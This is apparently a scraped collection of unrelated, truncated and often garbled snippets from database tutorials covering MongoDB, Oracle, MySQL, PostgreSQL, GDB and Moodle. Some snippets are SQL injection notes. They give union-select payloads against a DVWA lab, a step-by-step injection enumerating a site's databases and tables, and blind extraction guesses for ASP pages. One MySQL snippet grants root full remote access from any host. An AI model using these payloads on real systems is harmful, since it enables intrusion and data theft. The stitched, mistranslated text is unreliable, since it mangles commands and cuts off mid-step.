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, MongoDB will use the The query condition creates a new record and then replaces everything except the _id field in the newly created record with the record used in the update for replacement. Db.testData.update ( {item: "TBD1"}, { Item: "TBD1", Details: {"model": "14q4", "Manufacturer": "ABC Company"}, Stock: [{"Size": "S", "Qty": 25}], Category: "Houseware" }, {Upsert:true} )Results: nupserted ": 1 indicatesWriteresult ({"nmatched": 0,//No matching record"nupser

, 137365069032322, 13736507, 14035825, 19769505, 11858315, 14040433, 1391670912827745, 14038805, 19567242, 16721594, 13923855, 19567243, 85281719072105, 19567244, 11737047RAC system comprising of multiple nodesLocal node = Node1Remote node = Node2--------------------------------------------------------------------------------Opatch succeeded.Four, upgrade the database data dictionary 1, the database started, the database has been started, no need to start the database, directly execute the scrip

Tags: oat namespace mysql type tin sign approximate dataEstablishment of the table of norms1. The expression is the concept of the field, must be named using IS_XXX, the data type is unsigned tinyint (1 means yes, 0 means no).2. Table names do not use plural nouns.3. Disable reserved words.4. Decimal type, the use of float and double is forbidden.5. The name of the table is best added to the "Business noun _ table role".6. Update Field comments when modifying fields. 7. The field allows for prop

Label:First, download unzip1, download Postgresql-9.0.1-1-windows-binaries.zip2, unzip Postgresql-9.0.1-1-windows-binaries.zip to D:\Second, add users1. Add Windows user to start PostgreSQL Windows serviceD:\pgsql>net User Postgres Pgsqlpw/add/expires:never/passwordchg:no2, to ensure security, this user is not allowed to log on locallyd:\pgsql>net localgroup Users Postgres/del3, assign Windows user postgres access to the PostgreSQL installation directoryD:\pgsql>cacls. /T/E/P Postgres:rThird, in

Tags: mongodb crud query pointer traversalEnumerate traversal pointers Overviewas already mentioned, Db.collection.find () If you do not assign a variable to a VAR declaration, the first 20 records are automatically enumerated. manually Enumerate pointersIn the MONGO console, assign the query to a VAR-declared variable so that it is not automatically enumerated.var cur = db.testData.find ();Then each time this pointer is called, 20 is automatically traversedcur;You can also use the next () me

Use $elemmatch to query an element in an array to satisfy all recordsDb.testData.find ({Memos:{$elemMatch:{Memo: ' On Time ',By: ' Shipping '}}}//Match an element in memos with a record of memo as ' on time ' and by ' shipping 'combination satisfies a condition query Db.inventory.find ({' Memos.memo ': ' On Time ',' memos.by ': ' Shipping '}) //Match an element in the memos array that contains a Memo field and the value is on time, while another element contains a record with the by field a

immediate startup mount ALTER DATABASE flashback on-The archive must be opened first --Flashback database (Mount status, read only mode check, Resetlogs mode open) flashback to time to_date (XXX); Flashback database to time to_timestamp (XXX); Flashback database to SCN xxx; Flashback database to sequence XXX thread 1; Flashback database to timestamp (SYSDATE-1/24); --Manage the Flash back zone Db_recovery_file_dest--Flashback zone path Db_recovery_file_dest_size--flash back area size Db_flashba

Tags: dvwa slicing notes http tab src width Word SQL injectionSubstring_index (USER (), "@", L)-- #是将查询出来的结果进行切分, slice ' union select Table_name,table_schema from information in the way of the @ symbol _schema.tables--+ #查询数据库中所有的库表　　Query all databases, data sheet: http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+table_name,table_schema+from+ information_schema.tables--+ ' submit=submit#Count the number of tables in each database: Http://192.168.100.129/dvwa/vulnerabi

# init_passwd> for file Root/ .mysql_ Secret heavy initial face 2 mysql - Uroot–p init_passwd> 3 # new_passwd > 4 set PASSWORD = PASSWORD ( ' " ) 5 exit 5.2 Remote Access authorization settings Log in to the MySQL client with a new password 1 /*switch to MySQL database*/ 2 UseMySQL;3 /*Update Root user password*/ 4 Update User SetPassword=Password'')where User='Root'; 5 /*permission to authorize any host to access data*/ 6 GRANT All Privileges on *.* to 'Root'@'%'Identifie

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variables by using the column values returned by the query, you should prioritize using SELECTinto.When assigning the same value to multiple variables, you can use the function last_value ().The following is an example of an assignment of a user-defined variable: SET @x = 1;Example of a translator supplement: set assigns values to multiple types of variables, noting that when one of the variables fails, the entire statement fails set @x = 1, SESSION sql_mode = " ; SET GLOBAL sort_buffer_size =

to breakpoints.GDB's operation in Emacs: Emacs Key Action M-x GDB Switch to GDB mode. C-h m Displays the GDB pattern introduction information. M-s is equivalent to the step command in GDB. M-n is equivalent to the next command in GDB. M-i Equivalent to the Stepi command in GDB. C-c c-f Equivalent to the finish command in GDB. M-c Equivalent to t

Tags: sel database rollback ENTER DCL structure via base login1. How to log in to MySQLUnder Linux, use the command mysql-u ' your username '-p to enter. Enter your password to log in to MySQL2. Show what database MySQL hasUse show databses on the MySQL command line; Commands to view3. How to select a databaseAfter displaying the database through show databases, you can select the database using the command use command. such as use test4. How to view the table structureTable structure can be vie

Introduction Installation Preparation Installation steps Post-installation directory structure description Post-installation configuration Post-Installation security management Problems and solutions to be easily seen during installation An introductionThis article is intended to describe the installation and configuration of MySQL under Linux.Two installation PreparationLinux:centos Release 6.5 (Final) x86_64Mysql:percona-server-5.6.22-rel72.0-738.linux.x86_64.tar.g

Tags: sch inf nav ati ble bbr _id link min1. The most common ', and 1=1, and 1=2 of URLs that may have an injection vulnerability detected http://www.xxx.com/subcat.php?id=1 2. Determine the number of fields http://www.xxx.com/subcat.php?id=1 order by 1 Find only one field3. View the database name http://www.xxx.com/subcat.php?id=1 union select database() The database name is Bible_history 4. View Table name There are: Emails,administrators,bh_addform,bh_guestbook,bho_board_bans,bho_board_forum

)Guess Column Name *.asp?id=1 and exists (select password from admin)Order by Query *.asp?id=1 order by 3Union query *.asp?id=1 union select 1,password,3 from adminCases where the Union is not supportedDetermine the length of the content first *.asp?idfrom>5And then one guess *.asp?idfrom admin)>97For example, to determine that the value of ASC (Mid (user,1,1)) is 97, you can determine that the first character of the user is aOK then continue guessing from the second position *

[Mysqldump]QuickMax_allowed_packet = 16M [MySQL]No-auto-rehash [Mysqlhotcopy]Interactive-timeout [Myisamchk]Key_buffer_size = 256MSort_buffer_size = 256MRead_buffer = 2MWrite_buffer = 2M 3.8 Environment configuration file right #chown mysqladmin:dba/etc/my.cnf #chmod 640/etc/my.cnf Check the #ll/etc/my.cnf, please. 　　 3.9 Changing the standalone environment profile to MySQL administrator #chown-R Mysqladmin:dba/usr/local/mysql #chmod-R 755/usr/local/mysql 4.MySQL initialization

Tags: close 5.0 alt open Control Panel is step serve execution tool1. Start the MySQL service under the graphical interface. The steps to start the MySQL service under the graphical interface are as follows: (1) Open the services, management tools, Control Panel, as shown in: You can see that the current status of the MySQL service is not started (not written started is not started), the corresponding line of the two-machine open a small window as follows: Click the button "Start" to start the

and click Checkout. Create a data directory for Moodle. It can be anywhere used C:\moodledata. Just Create an empty folder Go to Http://localhost/moodle. The language Select page should come up and you are away. The installation isn't covered in detail ... Data directory is C:\moodledata (or whatever you created) Database user is ' root ' (unless-created a more restricted user) Database password is whatever you set installing MySQL

Tags: tab user name view tool IDE data share Picture Idea Library classstep1: First open the Database tool window from the menu View→tool windows→database, as shown in:Step2: Click the Add button "+" in the upper left corner of the Database tool window to select the DB type, here is the example of MySQL, as shown in: step3: Fill in the host name, database name, user name, and password of the database connection as shown in: step4: Click the Test Connection button to verify that the database con